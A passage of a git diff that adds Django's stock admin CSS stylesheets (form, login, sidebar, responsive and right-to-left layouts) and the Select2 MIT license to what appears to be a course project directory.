fieldset.wide .vLargeTextField, .colM fieldset.wide .vXMLLargeTextField { + width: 450px; +} + +/* COLLAPSIBLE FIELDSETS */ + +.collapse summary .fieldset-heading, +.collapse summary .inline-heading { + background: transparent; + border: none; + color: currentColor; + display: inline; + margin: 0; + padding: 0; +} + +/* MONOSPACE TEXTAREAS */ + +fieldset.monospace textarea { + font-family: var(--font-family-monospace); +} + +/* SUBMIT ROW */ + +.submit-row { + padding: 12px 14px 12px; + margin: 0 0 20px; + background: var(--darkened-bg); + border: 1px solid var(--hairline-color); + border-radius: 4px; + overflow: hidden; + display: flex; + gap: 10px; + flex-wrap: wrap; +} + +body.popup .submit-row { + overflow: auto; +} + +.submit-row input { + height: 2.1875rem; + line-height: 0.9375rem; +} + +.submit-row input, .submit-row a { + margin: 0; +} + +.submit-row input.default { + text-transform: uppercase; +} + +.submit-row a.deletelink { + margin-left: auto; +} + +.submit-row a.deletelink { + display: block; + background: var(--delete-button-bg); + border-radius: 4px; + padding: 0.625rem 0.9375rem; + height: 0.9375rem; + line-height: 0.9375rem; + color: var(--button-fg); +} + +.submit-row a.closelink { + display: inline-block; + background: var(--close-button-bg); + border-radius: 4px; + padding: 10px 15px; + height: 0.9375rem; + line-height: 0.9375rem; + color: var(--button-fg); +} + +.submit-row a.deletelink:focus, +.submit-row a.deletelink:hover, +.submit-row a.deletelink:active { + background: var(--delete-button-hover-bg); + text-decoration: none; +} + +.submit-row a.closelink:focus, +.submit-row a.closelink:hover, +.submit-row a.closelink:active { + background: var(--close-button-hover-bg); + text-decoration: none; +} + +/* CUSTOM FORM FIELDS */ + +.vSelectMultipleField { + vertical-align: top; +} + +.vCheckboxField { + border: none; +} + +.vDateField, .vTimeField { + margin-right: 2px; + margin-bottom: 4px; +} + +.vDateField { + min-width: 6.85em; +} + +.vTimeField { + min-width: 4.7em; +} + +.vURLField { + width: 30em; +} + +.vLargeTextField, .vXMLLargeTextField { + width: 48em; +} + +.app-flatpages.model-flatpage #id_content { + height: 40.2em; +} + +.module table .vPositiveSmallIntegerField { + width: 2.2em; +} + +.vIntegerField { + width: 5em; +} + +.vBigIntegerField { + width: 10em; +} + +.vForeignKeyRawIdAdminField { + width: 5em; +} + +.vTextField, .vUUIDField { + width: 20em; +} + +/* INLINES */ + +.inline-group { + padding: 0; + margin: 0 0 30px; +} + +.inline-group thead th { + padding: 8px 10px; +} + +.inline-group .aligned label { + width: 160px; +} + +.inline-related { + position: relative; +} + +.inline-related h4, +.inline-related:not(.tabular) .collapse summary { + margin: 0; + color: var(--body-medium-color); + padding: 5px; + font-size: 0.8125rem; + background: var(--darkened-bg); + border: 1px solid var(--hairline-color); + border-left-color: var(--darkened-bg); + border-right-color: var(--darkened-bg); +} + +.inline-related h3 span.delete { + float: right; +} + +.inline-related h3 span.delete label { + margin-left: 2px; + font-size: 0.6875rem; +} + +.inline-related fieldset { + margin: 0; + background: var(--body-bg); + border: none; + width: 100%; +} + +.inline-group .tabular fieldset.module { + border: none; +} + +.inline-related.tabular div.wrapper { + overflow-x: auto; +} + +.inline-related.tabular fieldset.module table { + width: 100%; +} + +.last-related fieldset { + border: none; +} + +.inline-group .tabular tr.has_original td { + padding-top: 2em; +} + +.inline-group .tabular tr td.original { + padding: 2px 0 0 0; + width: 0; +} + +.inline-group .tabular th.original { + width: 0px; + padding: 0; +} + +.inline-group .tabular td { + font-size: 1rem; +} + +.inline-group .tabular td.original p { + position: absolute; + left: 0; + height: 1.2em; + padding: 2px 9px; + overflow: hidden; + font-size: 0.875rem; + font-weight: bold; + color: var(--body-quiet-color); +} + +.inline-group div.add-row, +.inline-group .tabular tr.add-row td { + color: var(--body-quiet-color); + background: var(--darkened-bg); + padding: 8px 10px; + border-bottom: 1px solid var(--hairline-color); +} + +.inline-group .tabular tr.add-row td { + padding: 8px 10px; + border-bottom: 1px solid var(--hairline-color); +} + +.inline-group div.add-row a, +.inline-group .tabular tr.add-row td a { + font-size: 0.75rem; +} + +.empty-form { + display: none; +} + +/* RELATED FIELD ADD ONE / LOOKUP */ + +.related-lookup { + margin-left: 5px; + display: inline-block; + vertical-align: middle; + background-repeat: no-repeat; + background-size: 14px; +} + +.related-lookup { + width: 1rem; + height: 1rem; + background-image: url(../img/search.svg); +} + +form .related-widget-wrapper ul { + display: inline-block; + margin-left: 0; + padding-left: 0; +} + +.clearable-file-input input { + margin-top: 0; +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/css/login.css b/Semaine_11/Jour_04/staticfiles/admin/css/login.css new file mode 100644 index 0000000..805a34b --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/css/login.css @@ -0,0 +1,61 @@ +/* LOGIN FORM */ + +.login { + background: var(--darkened-bg); + height: auto; +} + +.login #header { + height: auto; + padding: 15px 16px; + justify-content: center; +} + +.login #header h1 { + font-size: 1.125rem; + margin: 0; +} + +.login #header h1 a { + color: var(--header-link-color); +} + +.login #content { + padding: 20px; +} + +.login #container { + background: var(--body-bg); + border: 1px solid var(--hairline-color); + border-radius: 4px; + overflow: hidden; + width: 28em; + min-width: 300px; + margin: 100px auto; + height: auto; +} + +.login .form-row { + padding: 4px 0; +} + +.login .form-row label { + display: block; + line-height: 2em; +} + +.login .form-row #id_username, .login .form-row #id_password { + padding: 8px; + width: 100%; + box-sizing: border-box; +} + +.login .submit-row { + padding: 1em 0 0 0; + margin: 0; + text-align: center; +} + +.login .password-reset-link { + text-align: center; +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/css/nav_sidebar.css b/Semaine_11/Jour_04/staticfiles/admin/css/nav_sidebar.css new file mode 100644 index 0000000..7eb0de9 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/css/nav_sidebar.css @@ -0,0 +1,150 @@ +.sticky { + position: sticky; + top: 0; + max-height: 100vh; +} + +.toggle-nav-sidebar { + z-index: 20; + left: 0; + display: flex; + align-items: center; + justify-content: center; + flex: 0 0 23px; + width: 23px; + border: 0; + border-right: 1px solid var(--hairline-color); + background-color: var(--body-bg); + cursor: pointer; + font-size: 1.25rem; + color: var(--link-fg); + padding: 0; +} + +[dir="rtl"] .toggle-nav-sidebar { + border-left: 1px solid var(--hairline-color); + border-right: 0; +} + +.toggle-nav-sidebar:hover, +.toggle-nav-sidebar:focus { + background-color: var(--darkened-bg); +} + +#nav-sidebar { + z-index: 15; + flex: 0 0 275px; + left: -276px; + margin-left: -276px; + border-top: 1px solid transparent; + border-right: 1px solid var(--hairline-color); + background-color: var(--body-bg); + overflow: auto; +} + +[dir="rtl"] #nav-sidebar { + border-left: 1px solid var(--hairline-color); + border-right: 0; + left: 0; + margin-left: 0; + right: -276px; + margin-right: -276px; +} + +.toggle-nav-sidebar::before { + content: '\00BB'; +} + +.main.shifted .toggle-nav-sidebar::before { + content: '\00AB'; +} + +.main > #nav-sidebar { + visibility: hidden; +} + +.main.shifted > #nav-sidebar { + margin-left: 0; + visibility: visible; +} + +[dir="rtl"] .main.shifted > #nav-sidebar { + margin-right: 0; +} + +#nav-sidebar .module th { + width: 100%; + overflow-wrap: anywhere; +} + +#nav-sidebar .module th, +#nav-sidebar .module caption { + padding-left: 16px; +} + +#nav-sidebar .module td { + white-space: nowrap; +} + +[dir="rtl"] #nav-sidebar .module th, +[dir="rtl"] #nav-sidebar .module caption { + padding-left: 8px; + padding-right: 16px; +} + +#nav-sidebar .current-app .section:link, +#nav-sidebar .current-app .section:visited { + color: var(--header-color); + font-weight: bold; +} + +#nav-sidebar .current-model { + background: var(--selected-row); +} + +@media (forced-colors: active) { + #nav-sidebar .current-model { + background-color: SelectedItem; + } +} + +.main > #nav-sidebar + .content { + max-width: calc(100% - 23px); +} + +.main.shifted > #nav-sidebar + .content { + max-width: calc(100% - 299px); +} + +@media (max-width: 767px) { + #nav-sidebar, #toggle-nav-sidebar { + display: none; + } + + .main > #nav-sidebar + .content, + .main.shifted > #nav-sidebar + .content { + max-width: 100%; + } +} + +#nav-filter { + width: 100%; + box-sizing: border-box; + padding: 2px 5px; + margin: 5px 0; + border: 1px solid var(--border-color); + background-color: var(--darkened-bg); + color: var(--body-fg); +} + +#nav-filter:focus { + border-color: var(--body-quiet-color); +} + +#nav-filter.no-results { + background: var(--message-error-bg); +} + +#nav-sidebar table { + width: 100%; +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/css/responsive.css b/Semaine_11/Jour_04/staticfiles/admin/css/responsive.css new file mode 100644 index 0000000..93abf79 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/css/responsive.css @@ -0,0 +1,885 @@ +/* Tablets */ + +input[type="submit"], button { + -webkit-appearance: none; + appearance: none; +} + +@media (max-width: 1024px) { + /* Basic */ + + html { + -webkit-text-size-adjust: 100%; + } + + td, th { + padding: 10px; + font-size: 0.875rem; + } + + .small { + font-size: 0.75rem; + } + + /* Layout */ + + #container { + min-width: 0; + } + + #content { + padding: 15px 20px 20px; + } + + div.breadcrumbs { + padding: 10px 30px; + } + + /* Header */ + + #header { + flex-direction: column; + padding: 15px 30px; + justify-content: flex-start; + } + + #site-name { + margin: 0 0 8px; + line-height: 1.2; + } + + #user-tools { + margin: 0; + font-weight: 400; + line-height: 1.85; + text-align: left; + } + + #user-tools a { + display: inline-block; + line-height: 1.4; + } + + /* Dashboard */ + + .dashboard #content { + width: auto; + } + + #content-related { + margin-right: -290px; + } + + .colSM #content-related { + margin-left: -290px; + } + + .colMS { + margin-right: 290px; + } + + .colSM { + margin-left: 290px; + } + + .dashboard .module table td a { + padding-right: 0; + } + + td .changelink, td .addlink { + font-size: 0.8125rem; + } + + /* Changelist */ + + #toolbar { + border: none; + padding: 15px; + } + + #changelist-search > div { + display: flex; + flex-wrap: nowrap; + max-width: 480px; + } + + #changelist-search label { + line-height: 1.375rem; + } + + #toolbar form #searchbar { + flex: 1 0 auto; + width: 0; + height: 1.375rem; + margin: 0 10px 0 6px; + } + + #toolbar form input[type=submit] { + flex: 0 1 auto; + } + + #changelist-search .quiet { + width: 0; + flex: 1 0 auto; + margin: 5px 0 0 25px; + } + + #changelist .actions { + display: flex; + flex-wrap: wrap; + padding: 15px 0; + } + + #changelist .actions label { + display: flex; + } + + #changelist .actions select { + background: var(--body-bg); + } + + #changelist .actions .button { + min-width: 48px; + margin: 0 10px; + } + + #changelist .actions span.all, + #changelist .actions span.clear, + #changelist .actions span.question, + #changelist .actions span.action-counter { + font-size: 0.6875rem; + margin: 0 10px 0 0; + } + + #changelist-filter { + flex-basis: 200px; + } + + .change-list .filtered .results, + .change-list .filtered .paginator, + .filtered #toolbar, + .filtered .actions, + + #changelist .paginator { + border-top-color: var(--hairline-color); /* XXX Is this used at all? */ + } + + #changelist .results + .paginator { + border-top: none; + } + + /* Forms */ + + legend, + label { + font-size: 1rem; + } + + /* + Minifiers remove the default (text) "type" attribute from "input" HTML + tags. Add input:not([type]) to make the CSS stylesheet work the same. + */ + .form-row input:not([type]), + .form-row input[type=text], + .form-row input[type=password], + .form-row input[type=email], + .form-row input[type=url], + .form-row input[type=tel], + .form-row input[type=number], + .form-row textarea, + .form-row select, + .form-row .vTextField { + box-sizing: border-box; + margin: 0; + padding: 6px 8px; + min-height: 2.25rem; + font-size: 1rem; + } + + .form-row select { + height: 2.25rem; + } + + .form-row select[multiple] { + height: auto; + min-height: 0; + } + + fieldset .fieldBox + .fieldBox { + margin-top: 10px; + padding-top: 10px; + border-top: 1px solid var(--hairline-color); + } + + textarea { + max-width: 100%; + max-height: 120px; + } + + .aligned label { + padding-top: 6px; + } + + .aligned .related-lookup, + .aligned .datetimeshortcuts, + .aligned .related-lookup + strong { + align-self: center; + margin-left: 15px; + } + + form .aligned div.radiolist { + margin-left: 2px; + } + + .submit-row { + padding: 8px; + } + + .submit-row a.deletelink { + padding: 10px 7px; + } + + .button, input[type=submit], input[type=button], .submit-row input, a.button { + padding: 7px; + } + + /* Selector */ + + .selector { + display: flex; + width: 100%; + } + + .selector .selector-filter { + display: flex; + align-items: center; + } + + .selector .selector-filter input { + width: 100%; + min-height: 0; + flex: 1 1; + } + + .selector-available, .selector-chosen { + width: auto; + flex: 1 1; + display: flex; + flex-direction: column; + } + + .selector select { + width: 100%; + flex: 1 0 auto; + margin-bottom: 5px; + } + + .selector-chooseall, .selector-clearall { + align-self: center; + } + + .stacked { + flex-direction: column; + max-width: 480px; + } + + .stacked > * { + flex: 0 1 auto; + } + + .stacked select { + margin-bottom: 0; + } + + .stacked .selector-available, .stacked .selector-chosen { + width: auto; + } + + .stacked ul.selector-chooser { + padding: 0 2px; + transform: none; + } + + .stacked .selector-chooser li { + padding: 3px; + } + + .help-tooltip, .selector .help-icon { + display: none; + } + + .datetime input { + width: 50%; + max-width: 120px; + } + + .datetime span { + font-size: 0.8125rem; + } + + .datetime .timezonewarning { + display: block; + font-size: 0.6875rem; + color: var(--body-quiet-color); + } + + .datetimeshortcuts { + color: var(--border-color); /* XXX Redundant, .datetime span also sets #ccc */ + } + + .form-row .datetime input.vDateField, .form-row .datetime input.vTimeField { + width: 75%; + } + + .inline-group { + overflow: auto; + } + + /* Messages */ + + ul.messagelist li { + padding: 10px 10px 10px 55px; + background-position-x: 30px; + } + + /* Login */ + + .login #header { + padding: 15px 20px; + } + + .login #site-name { + margin: 0; + } + + /* GIS */ + + div.olMap { + max-width: calc(100vw - 30px); + max-height: 300px; + } + + .olMap + .clear_features { + display: block; + margin-top: 10px; + } + + /* Docs */ + + .module table.xfull { + width: 100%; + } + + pre.literal-block { + overflow: auto; + } +} + +/* Mobile */ + +@media (max-width: 767px) { + /* Layout */ + + #header, #content { + padding: 15px; + } + + div.breadcrumbs { + padding: 10px 15px; + } + + /* Dashboard */ + + .colMS, .colSM { + margin: 0; + } + + #content-related, .colSM #content-related { + width: 100%; + margin: 0; + } + + #content-related .module { + margin-bottom: 0; + } + + #content-related .module h2 { + padding: 10px 15px; + font-size: 1rem; + } + + /* Changelist */ + + #changelist .changelist-form-container { + flex-direction: column; + } + + #changelist .changelist-form-container:has(#changelist-filter) > div { + max-width: 100%; + width: 100%; + } + + #toolbar { + padding: 10px; + } + + #changelist-filter { + margin-left: 0; + } + + #changelist .actions label { + flex: 1 1; + } + + #changelist .actions select { + flex: 1 0; + width: 100%; + } + + #changelist .actions span { + flex: 1 0 100%; + } + + #changelist-filter { + width: 100%; + margin-top: 30px; + } + + .object-tools { + text-align: left; + } + + /* Forms */ + + .form-row { + padding: 15px 0; + } + + .aligned .form-row, + .aligned .form-row > div { + max-width: 100vw; + } + + .aligned .form-row > div { + width: calc(100vw - 30px); + } + + .flex-container { + flex-flow: column; + } + + .flex-container.checkbox-row { + flex-flow: row; + } + + textarea { + max-width: none; + } + + .vURLField { + width: auto; + } + + fieldset .fieldBox + .fieldBox { + margin-top: 15px; + padding-top: 15px; + } + + .aligned legend, + .aligned label { + width: 100%; + min-width: auto; + padding: 0 0 10px; + } + + .aligned label:after { + max-height: 0; + } + + .aligned .form-row input, + .aligned .form-row select, + .aligned .form-row textarea { + flex: 1 1 auto; + max-width: 100%; + } + + .aligned .checkbox-row input { + flex: 0 1 auto; + margin: 0; + } + + .aligned .vCheckboxLabel { + flex: 1 0; + padding: 1px 0 0 5px; + } + + .aligned label + p, + .aligned label + div.help, + .aligned label + div.readonly { + padding: 0; + margin-left: 0; + } + + .aligned p.file-upload { + font-size: 0.8125rem; + } + + span.clearable-file-input { + margin-left: 15px; + } + + span.clearable-file-input label { + font-size: 0.8125rem; + padding-bottom: 0; + } + + .aligned .timezonewarning { + flex: 1 0 100%; + margin-top: 5px; + } + + form .aligned .form-row div.help { + width: 100%; + margin: 5px 0 0; + padding: 0; + } + + form .aligned ul, + form .aligned ul.errorlist { + margin-left: 0; + padding-left: 0; + } + + form .aligned div.radiolist { + margin-top: 5px; + margin-right: 15px; + margin-bottom: -3px; + } + + form .aligned div.radiolist:not(.inline) div + div { + margin-top: 5px; + } + + form .aligned fieldset div.flex-container { + display: unset; + } + + /* Related widget */ + + .related-widget-wrapper { + width: 100%; + display: flex; + align-items: flex-start; + } + + .related-widget-wrapper .selector { + order: 1; + flex: 1 0 auto; + } + + .related-widget-wrapper > a { + order: 2; + } + + .related-widget-wrapper .radiolist ~ a { + align-self: flex-end; + } + + .related-widget-wrapper > select ~ a { + align-self: center; + } + + /* Selector */ + + .selector { + flex-direction: column; + gap: 10px 0; + } + + .selector-available, .selector-chosen { + flex: 1 1 auto; + } + + .selector select { + max-height: 96px; + } + + .selector ul.selector-chooser { + display: flex; + width: 60px; + height: 30px; + padding: 0 2px; + transform: none; + } + + .selector ul.selector-chooser li { + float: left; + } + + .selector-remove { + background-position: 0 0; + } + + :enabled.selector-remove:focus, :enabled.selector-remove:hover { + background-position: 0 -24px; + } + + .selector-add { + background-position: 0 -48px; + } + + :enabled.selector-add:focus, :enabled.selector-add:hover { + background-position: 0 -72px; + } + + /* Inlines */ + + .inline-group[data-inline-type="stacked"] .inline-related { + border: 1px solid var(--hairline-color); + border-radius: 4px; + margin-top: 15px; + overflow: auto; + } + + .inline-group[data-inline-type="stacked"] .inline-related > * { + box-sizing: border-box; + } + + .inline-group[data-inline-type="stacked"] .inline-related .module { + padding: 0 10px; + } + + .inline-group[data-inline-type="stacked"] .inline-related .module .form-row { + border-top: 1px solid var(--hairline-color); + border-bottom: none; + } + + .inline-group[data-inline-type="stacked"] .inline-related .module .form-row:first-child { + border-top: none; + } + + .inline-group[data-inline-type="stacked"] .inline-related h3 { + padding: 10px; + border-top-width: 0; + border-bottom-width: 2px; + display: flex; + flex-wrap: wrap; + align-items: center; + } + + .inline-group[data-inline-type="stacked"] .inline-related h3 .inline_label { + margin-right: auto; + } + + .inline-group[data-inline-type="stacked"] .inline-related h3 span.delete { + float: none; + flex: 1 1 100%; + margin-top: 5px; + } + + .inline-group[data-inline-type="stacked"] .aligned .form-row > div:not([class]) { + width: 100%; + } + + .inline-group[data-inline-type="stacked"] .aligned label { + width: 100%; + } + + .inline-group[data-inline-type="stacked"] div.add-row { + margin-top: 15px; + border: 1px solid var(--hairline-color); + border-radius: 4px; + } + + .inline-group div.add-row, + .inline-group .tabular tr.add-row td { + padding: 0; + } + + .inline-group div.add-row a, + .inline-group .tabular tr.add-row td a { + display: block; + padding: 8px 10px 8px 26px; + background-position: 8px 9px; + } + + /* Submit row */ + + .submit-row { + padding: 10px; + margin: 0 0 15px; + flex-direction: column; + gap: 8px; + } + + .submit-row input, .submit-row input.default, .submit-row a { + text-align: center; + } + + .submit-row a.closelink { + padding: 10px 0; + text-align: center; + } + + .submit-row a.deletelink { + margin: 0; + } + + /* Messages */ + + ul.messagelist li { + padding: 10px 10px 10px 40px; + background-position-x: 15px; + } + + /* Paginator */ + + .paginator .this-page, .paginator a:link, .paginator a:visited { + padding: 4px 10px; + } + + /* Login */ + + body.login { + padding: 0 15px; + } + + .login #container { + width: auto; + max-width: 480px; + margin: 50px auto; + } + + .login #header, + .login #content { + padding: 15px; + } + + .login #content-main { + float: none; + } + + .login .form-row { + padding: 0; + } + + .login .form-row + .form-row { + margin-top: 15px; + } + + .login .form-row label { + margin: 0 0 5px; + line-height: 1.2; + } + + .login .submit-row { + padding: 15px 0 0; + } + + .login br { + display: none; + } + + .login .submit-row input { + margin: 0; + text-transform: uppercase; + } + + .errornote { + margin: 0 0 20px; + padding: 8px 12px; + font-size: 0.8125rem; + } + + /* Calendar and clock */ + + .calendarbox, .clockbox { + position: fixed !important; + top: 50% !important; + left: 50% !important; + transform: translate(-50%, -50%); + margin: 0; + border: none; + overflow: visible; + } + + .calendarbox:before, .clockbox:before { + content: ''; + position: fixed; + top: 50%; + left: 50%; + width: 100vw; + height: 100vh; + background: rgba(0, 0, 0, 0.75); + transform: translate(-50%, -50%); + } + + .calendarbox > *, .clockbox > * { + position: relative; + z-index: 1; + } + + .calendarbox > div:first-child { + z-index: 2; + } + + .calendarbox .calendar, .clockbox h2 { + border-radius: 4px 4px 0 0; + overflow: hidden; + } + + .calendarbox .calendar-cancel, .clockbox .calendar-cancel { + border-radius: 0 0 4px 4px; + overflow: hidden; + } + + .calendar-shortcuts { + padding: 10px 0; + font-size: 0.75rem; + line-height: 0.75rem; + } + + .calendar-shortcuts a { + margin: 0 4px; + } + + .timelist a { + background: var(--body-bg); + padding: 4px; + } + + .calendar-cancel { + padding: 8px 10px; + } + + .clockbox h2 { + padding: 8px 15px; + } + + .calendar caption { + padding: 10px; + } + + .calendarbox .calendarnav-previous, .calendarbox .calendarnav-next { + z-index: 1; + top: 10px; + } + + /* History */ + + table#change-history tbody th, table#change-history tbody td { + font-size: 0.8125rem; + word-break: break-word; + } + + table#change-history tbody th { + width: auto; + } + + /* Docs */ + + table.model tbody th, table.model tbody td { + font-size: 0.8125rem; + word-break: break-word; + } +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/css/responsive_rtl.css b/Semaine_11/Jour_04/staticfiles/admin/css/responsive_rtl.css new file mode 100644 index 0000000..b336bbf --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/css/responsive_rtl.css @@ -0,0 +1,95 @@ +/* TABLETS */ + +@media (max-width: 1024px) { + [dir="rtl"] .colMS { + margin-right: 0; + } + + [dir="rtl"] #user-tools { + text-align: right; + } + + [dir="rtl"] #changelist .actions label { + padding-left: 10px; + padding-right: 0; + } + + [dir="rtl"] #changelist .actions select { + margin-left: 0; + margin-right: 15px; + } + + [dir="rtl"] .change-list .filtered .results, + [dir="rtl"] .change-list .filtered .paginator, + [dir="rtl"] .filtered #toolbar, + [dir="rtl"] .filtered div.xfull, + [dir="rtl"] .filtered .actions, + [dir="rtl"] #changelist-filter { + margin-left: 0; + } + + [dir="rtl"] .inline-group div.add-row a, + [dir="rtl"] .inline-group .tabular tr.add-row td a { + padding: 8px 26px 8px 10px; + background-position: calc(100% - 8px) 9px; + } + + [dir="rtl"] .dashboard .module table td a { + padding-left: 0; + padding-right: 16px; + } + + [dir="rtl"] ul.messagelist li { + padding: 10px 55px 10px 10px; + background-position-x: calc(100% - 30px); + } +} + +/* MOBILE */ + +@media (max-width: 767px) { + [dir="rtl"] .aligned .related-lookup, + [dir="rtl"] .aligned .datetimeshortcuts { + margin-left: 0; + margin-right: 15px; + } + + [dir="rtl"] .aligned ul, + [dir="rtl"] form .aligned ul.errorlist { + margin-right: 0; + } + + [dir="rtl"] #changelist-filter { + margin-left: 0; + margin-right: 0; + } + + [dir="rtl"] .object-tools { + text-align: right; + } + + [dir="rtl"] .aligned .vCheckboxLabel { + padding: 1px 5px 0 0; + } + + [dir="rtl"] .selector-remove { + background-position: 0 0; + } + + [dir="rtl"] :enabled.selector-remove:focus, :enabled.selector-remove:hover { + background-position: 0 -24px; + } + + [dir="rtl"] .selector-add { + background-position: 0 -48px; + } + + [dir="rtl"] :enabled.selector-add:focus, :enabled.selector-add:hover { + background-position: 0 -72px; + } + + [dir="rtl"] ul.messagelist li { + padding: 10px 40px 10px 10px; + background-position-x: calc(100% - 15px); + } +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/css/rtl.css b/Semaine_11/Jour_04/staticfiles/admin/css/rtl.css new file mode 100644 index 0000000..ba4d0bf --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/css/rtl.css @@ -0,0 +1,296 @@ +/* GLOBAL */ + +th { + text-align: right; +} + +.module h2, .module caption { + text-align: right; +} + +.module ul, .module ol { + margin-left: 0; + margin-right: 1.5em; +} + +.viewlink, .addlink, .changelink, .hidelink { + padding-left: 0; + padding-right: 16px; + background-position: 100% 1px; +} + +.deletelink { + padding-left: 0; + padding-right: 16px; + background-position: 100% 1px; +} + +.object-tools { + text-align: left; +} + +.object-tools li + li { + margin-right: 15px; + margin-left: 0; +} + +thead th:first-child, +tfoot td:first-child { + border-left: none; +} + +/* LAYOUT */ + +#user-tools { + right: auto; + left: 0; + text-align: left; +} + +div.breadcrumbs { + text-align: right; +} + +#content-main { + float: right; +} + +#content-related { + float: left; + margin-left: -300px; + margin-right: auto; +} + +.colMS { + margin-left: 300px; + margin-right: 0; +} + +/* SORTABLE TABLES */ + +table thead th.sorted .sortoptions { + float: left; +} + +thead th.sorted .text { + padding-right: 0; + padding-left: 42px; +} + +/* dashboard styles */ + +.dashboard .module table td a { + padding-left: .6em; + padding-right: 16px; +} + +/* changelists styles */ + +.change-list .filtered table { + border-left: none; + border-right: 0px none; +} + +#changelist-filter { + border-left: none; + border-right: none; + margin-left: 0; + margin-right: 30px; +} + +#changelist-filter li.selected { + border-left: none; + padding-left: 10px; + margin-left: 0; + border-right: 5px solid var(--hairline-color); + padding-right: 10px; + margin-right: -15px; +} + +#changelist table tbody td:first-child, #changelist table tbody th:first-child { + border-right: none; + border-left: none; +} + +.paginator ul { + margin-left: 6px; + margin-right: 0; +} + +.paginator input { + margin-left: 0; + margin-right: auto; +} + +/* FORMS */ + +.aligned label, +.aligned legend { + padding: 0 0 3px 1em; +} + +.submit-row a.deletelink { + margin-left: 0; + margin-right: auto; +} + +.vDateField, .vTimeField { + margin-left: 2px; +} + +.aligned .form-row input { + margin-left: 5px; +} + +form .aligned ul { + margin-right: 163px; + padding-right: 10px; + margin-left: 0; + padding-left: 0; +} + +form ul.inline li { + float: right; + padding-right: 0; + padding-left: 7px; +} + +form .aligned p.help, +form .aligned div.help { + margin-left: 0; + margin-right: 160px; + padding-right: 10px; +} + +form div.help ul, +form .aligned .checkbox-row + .help, +form .aligned p.date div.help.timezonewarning, +form .aligned p.datetime div.help.timezonewarning, +form .aligned p.time div.help.timezonewarning { + margin-right: 0; + padding-right: 0; +} + +form .wide p.help, +form .wide ul.errorlist, +form .wide div.help { + padding-left: 0; + padding-right: 50px; +} + +.submit-row { + text-align: right; +} + +fieldset .fieldBox { + margin-left: 20px; + margin-right: 0; +} + +.errorlist li { + background-position: 100% 12px; + padding: 0; +} + +.errornote { + background-position: 100% 12px; + padding: 10px 12px; +} + +/* WIDGETS */ + +.calendarnav-previous { + top: 0; + left: auto; + right: 10px; + background: url(../img/calendar-icons.svg) 0 -15px no-repeat; +} + +.calendarnav-next { + top: 0; + right: auto; + left: 10px; + background: url(../img/calendar-icons.svg) 0 0 no-repeat; +} + +.calendar caption, .calendarbox h2 { + text-align: center; +} + +.selector { + float: right; +} + +.selector .selector-filter { + text-align: right; +} + +.selector-add { + background: url(../img/selector-icons.svg) 0 -96px no-repeat; + background-size: 24px auto; +} + +:enabled.selector-add:focus, :enabled.selector-add:hover { + background-position: 0 -120px; +} + +.selector-remove { + background: url(../img/selector-icons.svg) 0 -144px no-repeat; + background-size: 24px auto; +} + +:enabled.selector-remove:focus, :enabled.selector-remove:hover { + background-position: 0 -168px; +} + +:enabled.selector-chooseall:focus, :enabled.selector-chooseall:hover { + background-position: 100% -144px; +} + +:enabled.selector-clearall:focus, :enabled.selector-clearall:hover { + background-position: 0 -176px; +} + +.inline-deletelink { + float: left; +} + +form .form-row p.datetime { + overflow: hidden; +} + +.related-widget-wrapper { + float: right; +} + +/* MISC */ + +.inline-related h2, .inline-group h2 { + text-align: right +} + +.inline-related h3 span.delete { + padding-right: 20px; + padding-left: inherit; + left: 10px; + right: inherit; + float:left; +} + +.inline-related h3 span.delete label { + margin-left: inherit; + margin-right: 2px; +} + +.inline-group .tabular td.original p { + right: 0; +} + +.selector .selector-chooser { + margin: 0; +} + +ul.messagelist li { + padding: 10px 65px 10px 10px; + background-position-x: calc(100% - 40px); +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/css/unusable_password_field.css b/Semaine_11/Jour_04/staticfiles/admin/css/unusable_password_field.css new file mode 100644 index 0000000..d46eb03 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/css/unusable_password_field.css @@ -0,0 +1,19 @@ +/* Hide warnings fields if usable password is selected */ +form:has(#id_usable_password input[value="true"]:checked) .messagelist { + display: none; +} + +/* Hide password fields if unusable password is selected */ +form:has(#id_usable_password input[value="false"]:checked) .field-password1, +form:has(#id_usable_password input[value="false"]:checked) .field-password2 { + display: none; +} + +/* Select appropriate submit button */ +form:has(#id_usable_password input[value="true"]:checked) input[type="submit"].unset-password { + display: none; +} + +form:has(#id_usable_password input[value="false"]:checked) input[type="submit"].set-password { + display: none; +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/css/vendor/select2/LICENSE-SELECT2.md b/Semaine_11/Jour_04/staticfiles/admin/css/vendor/select2/LICENSE-SELECT2.md new file mode 100644 index 0000000..8cb8a2b --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/css/vendor/select2/LICENSE-SELECT2.md @@ -0,0 +1,21 @@ +The MIT License (MIT) + +Copyright (c) 2012-2017 Kevin Brown, Igor Vaynberg, and Select2 contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in +all copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +THE SOFTWARE. diff --git a/Semaine_11/Jour_04/staticfiles/admin/css/vendor/select2/select2.css 